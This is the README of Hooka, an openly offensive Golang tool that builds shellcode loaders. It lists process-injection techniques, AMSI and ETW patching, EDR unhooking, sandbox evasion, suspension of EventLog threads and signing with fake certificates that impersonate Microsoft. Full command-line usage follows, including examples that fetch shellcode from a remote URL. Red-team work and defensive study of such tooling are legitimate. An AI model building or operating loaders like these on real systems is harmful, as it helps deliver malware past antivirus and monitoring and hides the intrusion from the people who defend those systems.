Introduction • Features • Usage • Library • Disclaimer
Hooka is able to generate shellcode loaders with multiple capabilities. It is also based on other tools like BokuLoader, Freeze or Shhhloader, and it tries to implement more evasion features. Why in Golang? Why not?
This tool is able to generate loaders with this features:
-
Multiple shellcode injection techniques:
- SuspendedProcess
- ProcessHollowing
- NtCreateThreadEx
- EtwpCreateEtwThread
- NtQueueApcThreadEx
- No-RWX
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Get shellcode from raw file, PE, DLL or from a URL
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EXE and DLL are supported as output loader formats
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Encrypt shellcode using:
- AES
- 3DES
- RC4
- XOR
-
AMSI and ETW patching (enabled by default)
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Random variables and function names
-
Shikata Ga Nai obfuscation (see here)
-
Multiple ways to detect sandboxing
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Enable ACG Guard protection
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Block non-Microsoft signed DLLs from injecting into created processes
-
Capable of unhooking user-mode hooks via multiple techniques:
- Classic
- Full DLL
- Perun's Fart technique
-
Phant0m technique to suspend EventLog threads (see here)
-
Windows API hashing (see here)
-
Sign shellcode loader with fake or real certificates
-
Strings obfuscation via Caesar cipher (see here)
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Compress code weight using Golang compile and UPX (if it's installed)
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Compute binary entropy of the loader
-
Compute MD5, SHA1 and SHA256 checksums to keep track of the loader
Just clone the repository like this:
git clone https://github.com/D3Ext/Hooka
cd Hooka
makeAfter that you will find the binary under the build/ folder
Help panel
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Usage of Hooka:
REQUIRED:
-i, --input string payload to inject in raw format, as PE, as DLL or from a URL
-o, --output string name of output file (i.e. loader.exe)
-f, --format string format of the payload to generate (available: exe, dll) (default exe)
EXECUTION:
--proc string process to spawn (in suspended state) when needed for given execution technique (default notepad.exe)
--exec string technique used to load shellcode (default "SuspendedProcess"):
SuspendedProcess
ProcessHollowing
NtCreateThreadEx
EtwpCreateEtwThread
NtQueueApcThreadEx
No-RWX
AUXILIARY:
-a, --arch string architecture of the loader to generate (default amd64)
-c, --cert string certificate to sign generated loader with (i.e. cert.pfx)
-d, --domain string domain used to sign loader (i.e. www.microsoft.com)
ENCODING:
--enc string encrypts shellcode using given algorithm (available: aes, 3des, rc4, xor) (default none)
--sgn use Shikata Ga Nai to encode generated loader (it must be installed on path)
--strings obfuscate strings using Caesar cipher
EVASION:
--unhook string unhooking technique to use (available: full, peruns)
--sandbox enable sandbox evasion
--no-amsi don't patch AMSI
--no-etw don't patch ETW
--hashing use hashes to retrieve function pointers
--acg enable ACG Guard to prevent AV/EDR from modifying existing executable code
--blockdlls prevent non-Microsoft signed DLLs from injecting in child processes
--phantom suspend EventLog threads using Phant0m technique. High privileges needed, otherwise loader skips this step
--sleep delay shellcode execution using a custom sleep function
EXTRA:
--calc use a calc.exe shellcode to test loader capabilities (don't provide input file)
--compress compress generated loader using Golang compiler and UPX if it's installed
-r, --rand use a random set of parameters to create a random loader (just for testing purposes)
-v, --verbose enable verbose to print extra information
-h, --help print help panel
Examples:
hooka -i shellcode.bin -o loader.exe
hooka -i http://192.168.1.126/shellcode.bin -o loader.exe
hooka -i shellcode.bin -o loader.exe --exec NtCreateThreadEx --unhook full --sleep 60 --acg
hooka -i shellcode.bin -o loader.dll --domain www.domain.com --enc aes --verbose
Generate a simple EXE loader
$ hooka_linux_amd64 -i shellcode.bin -o loader.exeGenerate a DLL loader
$ hooka_linux_amd64 -i shellcode.bin -o loader.dll -f dllUse custom config (various examples)
$ hooka_linux_amd64 -i shellcode.bin -o loader.exe --hashing --agc --sleep --verbose
$ hooka_linux_amd64 -i shellcode.bin -o loader.exe --exec ProcessHollowing --sgn --strings --blockdlls
$ hooka_linux_amd64 -i http://xx.xx.xx.xx/shellcode.bin --sandbox --sleep --domain www.microsoft.com --verbose
- Add direct and indirect syscall
- Add Chacha20 cypher to encrypt shellcode
- More OPSEC features
- General improvement
The official Golang package has most of the already mentioned features and some others. To make use of it, see here and here
You can take a look at some of the mentioned techniques here:
https://github.com/C-Sto/BananaPhone
https://github.com/timwhitez/Doge-Gabh
https://github.com/Ne0nd0g/go-shellcode
https://github.com/optiv/Freeze
https://github.com/f1zm0/acheron
https://github.com/Enelg52/OffensiveGo
https://github.com/trickster0/TartarusGate
https://github.com/Kara-4search/HookDetection_CSharp
https://github.com/RedLectroid/APIunhooker
https://github.com/plackyhacker/Peruns-Fart
https://github.com/rasta-mouse/TikiTorch
https://github.com/phra/PEzor
https://github.com/S1ckB0y1337/Cobalt-Strike-CheatSheet
https://github.com/chvancooten/maldev-for-dummies
https://blog.sektor7.net/#!res/2021/perunsfart.md
https://teamhydra.blog/2020/09/18/implementing-direct-syscalls-using-hells-gate/
https://www.ired.team/offensive-security/defense-evasion/detecting-hooked-syscall-functions#checking-for-hooks
https://www.ired.team/offensive-security/defense-evasion/how-to-unhook-a-dll-using-c++
https://www.ired.team/offensive-security/defense-evasion/retrieving-ntdll-syscall-stubs-at-run-time
https://www.ired.team/offensive-security/defense-evasion/windows-api-hashing-in-malware
https://winternl.com/detecting-manual-syscalls-from-user-mode/
Use this project under your own responsability! The author is not responsible of any bad usage of the project.
This project is under MIT license
Copyright © 2024, D3Ext
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